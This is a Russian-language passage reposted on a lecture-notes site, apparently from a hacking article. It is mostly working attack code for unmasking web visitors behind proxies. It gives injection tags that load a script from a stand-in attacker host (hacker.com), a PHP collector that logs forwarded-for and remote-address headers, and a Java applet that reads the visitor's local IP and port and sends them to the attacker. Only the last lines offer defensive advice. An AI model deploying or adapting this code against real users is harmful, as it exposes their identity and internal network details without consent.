Студопедия
Главная страница | Контакты | Случайная страница

АвтомобилиАстрономияБиологияГеографияДом и садДругие языкиДругоеИнформатика
ИсторияКультураЛитератураЛогикаМатематикаМедицинаМеталлургияМеханика
ОбразованиеОхрана трудаПедагогикаПолитикаПравоПсихологияРелигияРиторика
СоциологияСпортСтроительствоТехнологияТуризмФизикаФилософияФинансы
ХимияЧерчениеЭкологияЭкономикаЭлектроника

Комплексное решение

Читайте также:
  1. Алгоритмическое решение задач, анализ алгоритмической сложности
  2. Аналитическое и графическое решение уравнений, содержащих переменную под знаком модуля.
  3. Апелляция на решение Псковского городского суда по делу 2-2878
  4. Бог так устроил человеческую и ангельскую жизнь, чтобы сперва стало очевидным, что может свободное решение, а затем - что может дар благодати и суд справедливости
  5. ВОСКРЕШЕНИЕ СЛОВА
  6. ВОСКРЕШЕНИЕ СЛОВА
  7. Глава 14. Судьбоносное решение.
  8. Глава 3. Комплексное обследование детей с ринолалией
  9. Д) Разновидности внутреннего сопротивления. Решение больного подвергнуться психотерапевтическому лечению
  10. Задание 1-2: Решение системы квадратных уравнений

В зависимости от ситуации хакер может применить те или иные методы. Каждый из способов специфичен, поэтому в некоторых случаях придется отказаться от некоторых из них. Например, вариант с использованием PHP, будет работать, даже через рисунок:

<img src=http://www.hacker.com/go2intranet.php>

Остальные проканают через подключение удаленного скрипта:

<script src=http://www.hacker.com/go2intranet.php></script>

Так может выглядеть PHP код, объединяющий технику Ява сканирования и получения информации из заголовков сервера:

<?PHP

 

session_start();

 

$url = 'http://0xfa60/go2intranet.php';

 

if($_GET['method']!= '')

{

// code here

 

if($_GET['method'] == 'java')

{

$_SESSION['java'] = $_GET['data'];

echo ('OK');

}

else

{

echo('Java: '. $_SESSION['java']. '
');

echo('X-Forwarded-For: '. $_SESSION['forwarded']. '
');

echo('REMOTE_*: '. $_SESSION['remote']. '
');

}

}

else

{

$url2save = $url. '?PHPSESSID='. session_id();

 

echo('<applet code=javaSocket.class>');

echo('<param name="url2save" value="'. $url2save.'">');

echo('</applet>');

 

list($forwarded) = split(',', $_SERVER['HTTP_X_FORWARDED_FOR'], 2);

$_SESSION['forwarded'] = 'local,,'. $forwarded. ',';

 

$_SESSION['remote'] = 'local,'. $_SERVER['REMOTE_HOST']

. ','. $_SERVER['REMOTE_ADDR']

. ','. $_SERVER['REMOTE_PORT'];

};

?>

Таким будет код Java апплета:

import java.applet.*;

 

import java.awt.*;

import java.io.*;

import java.net.*;

 

public class javaSocket extends Applet {

 

public class Host{

 

public String name;

public String ip;

public int port;

 

};

 

public int ubyte(byte value){

 

return (int)value & 0xff;

}

 

public String getStringIP(byte[] ip){

 

return (ubyte(ip[0]) + "."

+ ubyte(ip[1]) + "."

+ ubyte(ip[2]) + "."

+ ubyte(ip[3])

);

}

 

public void showHost(String name,Host host)

{

System.out.println(name + " name: " + host.name);

System.out.println(name + " port: " + host.port);

System.out.println(name + " ip: " + host.ip);

 

return;

}

 

public Host getHostBase(){

 

Host base = new Host();

 

base.name = getDocumentBase().getHost();

base.port = getDocumentBase().getPort();

 

if(base.port == -1)

base.port = 80;

 

base.ip = "unknown";

 

try

{

Socket connection = new Socket(base.name, base.port);

 

byte[] ip = connection.getInetAddress().getAddress();

 

base.ip = getStringIP(ip);

 

}catch(Exception e){ base.ip = "error"; };

 

 

return base;

}

 

public Host getHostLocal()

{

Host base = getHostBase();

Host local = new Host();

 

try {

 

Socket connection = new Socket(base.name, base.port);

 

local.name = connection.getLocalAddress().getHostName();

local.ip = connection.getInetAddress().getHostAddress();

local.port = connection.getLocalPort();

 

if(local.port == -1)

local.port = 80;

 

 

} catch(Exception e)

{

local.name = "localhost";

local.port = '0';

local.ip = "127.0.0.1";

}

return local;

 

}

 

public void saveHost(String local,Host host)

{

String url = getParameter("url2save");

 

String data= local

+"," + host.name

+"," + host.ip

+"," + host.port;

 

try

{

 

URLConnection connection =

new URL(url + "&method=java&data=" + data).openConnection();

 

BufferedReader in = new BufferedReader(

new InputStreamReader(connection.getInputStream()));

 

char[] buffer = new char[1024];

int charsRead;

while((charsRead = in.read(buffer, 0, 1024))!= -1)

{

String contents = new String(buffer, 0, charsRead);

System.out.println(contents);

}

} catch (Exception e) { }

 

return;

 

}

public void init()

{

showHost("local", getHostLocal());

saveHost("local", getHostLocal());

}

}

Все остальные комбинации оставляю для самостоятельной работы читателей. Стоит также добавить, что выбор техники может определяться динамически. Определить поддержку Java можно из JavaScript-а:

alert(navigator.javaEnabled());

Для примеров под FireFox необходимо определять имя браузера:

alert(navigator.appName);

И в таком духе реализовать комплексную проверку.

Для конечных пользователей можно лишь посоветовать использовать анонимные прокси, отключить поддержку Java и Flash. Не самая радужная перспектива, зато полезная штука для соблюдения корпоративной безопасности.




Дата добавления: 2015-09-11; просмотров: 82 | Поможем написать вашу работу | Нарушение авторских прав

Внешний адрес | Маршрут | Java applet | Хімічні властивості | Завдання |


lektsii.net - Лекции.Нет - 2014-2025 год. (0.024 сек.) Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав